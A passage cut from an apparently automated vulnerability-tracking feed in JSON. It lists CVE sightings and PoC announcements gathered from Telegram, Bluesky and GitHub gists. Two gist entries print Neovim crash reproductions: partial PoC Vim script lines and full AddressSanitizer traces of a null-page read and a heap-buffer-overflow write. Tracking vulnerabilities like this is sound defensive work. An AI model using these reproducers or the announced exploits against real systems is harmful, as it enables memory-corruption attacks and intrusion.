"CVE-2022-25012", "author": {"login": "automation"}}, {"uuid": "cb50eafa-f3c0-4c7a-ac2a-01032052c635", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.546646+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192749", "content": "AxHunter \u2014 Updated!\n\nPoCs for Wellbia XIGNCODE3 anti-cheat xhunter driver family - xhunter1.sys v2023.12.7.78 and xhunter2.sys v2026.6.1.192 (CVE-2026-15430, CVE-2026-3609).\nRead more...", "vulnerability": "CVE-2026-15430", "author": {"login": "automation"}}, {"uuid": "53531d92-6c76-4a08-9dd0-ab0bb3ccfe2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.492983+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192749", "content": "AxHunter \u2014 Updated!\n\nPoCs for Wellbia XIGNCODE3 anti-cheat xhunter driver family - xhunter1.sys v2023.12.7.78 and xhunter2.sys v2026.6.1.192 (CVE-2026-15430, CVE-2026-3609).\nRead more...", "vulnerability": "CVE-2026-3609", "author": {"login": "automation"}}, {"uuid": "d74dc46a-7e15-48e8-a3fe-90e48f76f86b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.440390+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192743", "content": "pac4j-check v0.2.0\n\nOffline scanner for CVE-2026-29000 (CVSS 10.0) in org.pac4j:pac4j-jwt. Inspects jars/fat-jars directly, so it works where mvn dependency:tree cannot. Single jar, zero dependencies, Java 8+.\nRead more...", "vulnerability": "CVE-2026-29000", "author": {"login": "automation"}}, {"uuid": "d1a41abf-6fee-4261-bfeb-f9355381d6bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.383426+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192744", "content": "CVE-2025-3052 \u2014 Updated!\n\nResearch on CVE-2025-3052, an Insyde firmware vulnerability that exposes an arbitrary write primitive capable of modifying security-critical pointers.\nRead more...", "vulnerability": "CVE-2025-3052", "author": {"login": "automation"}}, {"uuid": "def55af0-456d-4825-844c-ce13b31384ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.333156+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192745", "content": "CVE-2025-4275 \u2014 Updated!\n\nAnalysis and exploitation of CVE-2025-4275 (Hydr0ph0bia), a Secure Boot trust-chain weakness where firmware variables are used to introduce attacker-controlled certificates trusted by subsequent boot components.\nRead more...", "vulnerability": "CVE-2025-4275", "author": {"login": "automation"}}, {"uuid": "a88083d3-3264-4ce8-a6ca-51f23ef40bf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.284409+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192746", "content": "CVE-2026-25250 \u2014 Updated!\n\nAnalysis and exploit for CVE-2026-25250, a Secure Boot bypass in Horizon DataSys Reboot Restore where shdloader.efi loads Shield.efi without verification.\nRead more...", "vulnerability": "CVE-2026-25250", "author": {"login": "automation"}}, {"uuid": "e1a1c112-0645-4033-8304-ebee06e04dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.235137+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192739", "content": "YellowKey-Bitlocker-CVE-2026-45585 \u2014 Updated!\n\nManage BitLocker recovery keys, unlock encrypted drives, and monitor encryption status with this lightweight Windows utility.\nRead more...", "vulnerability": "CVE-2026-45585", "author": {"login": "automation"}}, {"uuid": "edd5efa4-40f2-493b-af72-1cb8793d10d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.188417+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192740", "content": "CVE-2026-18718 \u2014 Updated!\n\nFound a 0-Day in Ghidra: Shared Project File Became a Code Execution Vector\nRead more...", "vulnerability": "CVE-2026-18718", "author": {"login": "automation"}}, {"uuid": "ec8d04a9-8cca-4fa8-b63b-1a402d68cf66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.138749+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192742", "content": "BAS-Guardian \u2014 Updated!\n\nFree BACnet/BMS vulnerability scanner for building automation systems. Detects CVE-2026-3611 (CVSS 10.0), CVE-2026-24060, and exposed HVAC/BAS controllers via PowerShell or Bash.\nRead more...", "vulnerability": "CVE-2026-3611", "author": {"login": "automation"}}, {"uuid": "45e55bf6-c077-4887-b8ca-6e68313a53e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.086062+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192742", "content": "BAS-Guardian \u2014 Updated!\n\nFree BACnet/BMS vulnerability scanner for building automation systems. Detects CVE-2026-3611 (CVSS 10.0), CVE-2026-24060, and exposed HVAC/BAS controllers via PowerShell or Bash.\nRead more...", "vulnerability": "CVE-2026-24060", "author": {"login": "automation"}}, {"uuid": "f5304f12-1bfa-4130-bd4f-1800848592c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:05.032290+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192733", "content": "Incident-Analysis-Response-Check-Point-Security-Gateway-CVE-2024-24919-LFI-Exploitation \u2014 Updated!\n\nIncident Response (IR) case study documenting the investigation of an exploitation attempt targeting CVE-2024-24919 (Arbitrary File Read) on a Check Point Security Gateway. Includes comprehensive SIEM analysis, firewall logs, raw web access log inspection (`/var/log/access.log`), IOCs, MITRE ATT&CK mapping, and post-exploitation validation.\nRead more...", "vulnerability": "CVE-2024-24919", "author": {"login": "automation"}}, {"uuid": "d3530439-5a32-4b74-960d-0fe07f322970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:04.977044+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192735", "content": "ghostlock \u2014 Updated!\n\nTracking GhostLock (CVE-2026-43499), the rtmutex/futex stack use-after-free\nRead more...", "vulnerability": "CVE-2026-43499", "author": {"login": "automation"}}, {"uuid": "d81b30a9-b102-4053-9cca-98a13a1af0e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:04.924269+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/192736", "content": "CVE-2026-59941 \u2014 Updated!\n\nDompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps\nRead more...", "vulnerability": "CVE-2026-59941", "author": {"login": "automation"}}, {"uuid": "49caf6cd-c95e-411d-bf99-eb81a98ad6e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:04.870854+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192737", "content": "CVE-2026-39987 \u2014 Updated!\n\nSimple POC for CVE-2026-39987\nRead more...", "vulnerability": "CVE-2026-39987", "author": {"login": "automation"}}, {"uuid": "3e325177-818b-4d03-b0d6-8f23198a5ed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:04.820653+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192728", "content": "QuestStack \u2014 Updated!\n\nUnlock the Meta Quest 1 bootloader and gain root access using GhostLock + CVE-2021-1931.\nRead more...", "vulnerability": "CVE-2021-1931", "author": {"login": "automation"}}, {"uuid": "d4630bb5-b046-419c-aef8-38cc1f367006", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T14:00:04.749241+00:00", "type": "seen", "source": "https://t.me/GithubRedTeam/101380", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a mikrotrick-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-06 12:19:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-67276 RouterOS SSH public-key authentication bypass lab PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2026-67276", "author": {"login": "automation"}}, {"uuid": "3caa6b85-b202-4637-82b4-4a38e6678352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:55:29.745508+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/7zcn2pbg7tqql", "content": "CVE-2026-86214 - Mstfakts College-Management-System login.php improper authentication\nCVE ID : CVE-2026-86214\n \n Published : Sept. 6, 2026, 1 p.m. | 29\u00a0minutes ago\n \n Description : A vulnerability was determined in Mstfakts College-Management-System. Impacted is an unknown fun...", "vulnerability": "CVE-2026-86214", "author": {"login": "automation"}}, {"uuid": "d6cc46b1-ce89-45be-a399-77624bddf744", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:53:28.722825+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/76guukhcdt4vl", "content": "CVE-2026-86213 - Mstfakts College-Management-System Search university.php mysqli_query sql injection\nCVE ID : CVE-2026-86213\n \n Published : Sept. 6, 2026, 12:45 p.m. | 44\u00a0minutes ago\n \n Description : A vulnerability was found in Mstfakts College-Management-System. This issue a...", "vulnerability": "CVE-2026-86213", "author": {"login": "automation"}}, {"uuid": "2feb503d-27b2-4c67-ab67-35682c711be3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:52:32.332477+00:00", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/4c3c9b99ec5cc9e701c0592bea7ffb79", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4734)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_fullcommand()\n\nline 4: \n\nline 5: call Test_fullcommand()\n\ncalling Test_fullcommand()\n\nline 1:   call assert_equal('', fullcommand(10))\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==36162==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000000a (pc 0x000000757506 bp 0x7ffd2c4c95e0 sp 0x7ffd2c4c9420 T0)\n==36162==The signal is caused by a READ memory access.\n==36162==Hint: address points to the zero page.\n    #0 0x757506 in f_fullcommand /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3126:16\n    #1 0x6c4da2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:242:3\n    #2 0x705869 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1622:15\n    #3 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #4 0x6a592d in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2193:13\n    #5 0x6a22c8 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3000:15\n    #6 0x6a1490 in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2742:7\n    #7 0x6a0a43 in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2597:7\n    #8 0x6a041f in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2467:7\n    #9 0x69ffb6 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2399:7\n    #10 0x68a23b in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2342:7\n    #11 0x685970 in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2280:7\n    #12 0x704bce in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:9\n    #13 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #14 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #15 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #16 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #17 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #18 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #19 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #20 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #21 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #22 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #23 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #24 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #25 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #26 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #27 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #28 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #29 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #30 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #31 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #32 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #33 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #34 0x7f0a67003082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #35 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3126:16 in f_fullcommand\n==36162==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_fullcommand()\n\nline 4: \n\nline 5: call Test_fullcommand()\n\ncalling function Test_fullcommand()\n\nline 1:   call assert_equal('', fullcommand(10))\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==37683==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000000a (pc 0x00000094fd76 bp 0x7ffcb27d7770 sp 0x7ffcb27d74a0 T0)\n==37683==The signal is caused by a READ memory access.\n==37683==Hint: address points to the zero page.\n    #0 0x94fd76 in f_fullcommand /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2912:10\n    #1 0x825318 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:203:3\n    #2 0x8af549 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1589:15\n    #3 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #4 0x7e5874 in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3324:13\n    #5 0x7e00d6 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:4234:15\n    #6 0x7dd36e in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3912:7\n    #7 0x7dbcec in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3737:7\n    #8 0x7db070 in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3633:7\n    #9 0x7da9d7 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3554:7\n    #10 0x7a47c7 in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3485:7\n    #11 0x7935ec in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3411:7\n    #12 0x8ace03 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:429:9\n    #13 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #14 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #15 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #16 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #17 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #18 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #19 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #20 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #21 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #22 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #23 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #24 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #25 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #26 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #27 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #28 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #29 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #30 0x7fd5f4583082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2912:10 in f_fullcommand\n==37683==ABORTING", "vulnerability": "CVE-2023-4734", "author": {"login": "automation"}}, {"uuid": "084aad2a-8d84-48d5-807b-d68aeb674332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:41:28.393853+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/aslqkh7y6oslj", "content": "CVE-2026-86258 - nbviewer through 1.0.1 Path Traversal via LocalFileHandler\nCVE ID : CVE-2026-86258\n \n Published : Sept. 6, 2026, 12:37 p.m. | 51\u00a0minutes ago\n \n Description : nbviewer through 1.0.1 contains a path traversal vulnerability in LocalFileHandler.can_show() that use...", "vulnerability": "CVE-2026-86258", "author": {"login": "automation"}}, {"uuid": "c320e28e-39ba-468a-82ce-fc4fcbb5c484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:37:07.559279+00:00", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3muu4gj3dkb2f", "content": "\ud83d\udccc VMware Patches Critical VM Escape Vulnerability CVE-2026-59346 in Workstation and Fusion https://www.cyberhub.blog/article/31702-vmware-patches-critical-vm-escape-vulnerability-cve-2026-59346-in-workstation-and-fusion", "vulnerability": "cve-2026-59346", "author": {"login": "automation"}}, {"uuid": "8bf6d2fa-c4f1-44ca-8ac1-8f1a834c14e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T13:36:04.016280+00:00", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/ebb148dcc15cb4185e6157b43b76544a", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4738)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',5).'Z', repeat('0',60)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==34842==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000d04 at pc 0x0000004cc7ee bp 0x7ffdf49c64b0 sp 0x7ffdf49c5c70\nWRITE of size 101 at 0x60b000000d04 thread T0\n    #0 0x4cc7ed in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4cc7ed)\n    #1 0x9a0a88 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1759:9\n    #2 0x9a2102 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1696:16\n    #3 0x73d595 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3945:17\n    #4 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #5 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #6 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #7 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #8 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #9 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #10 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #11 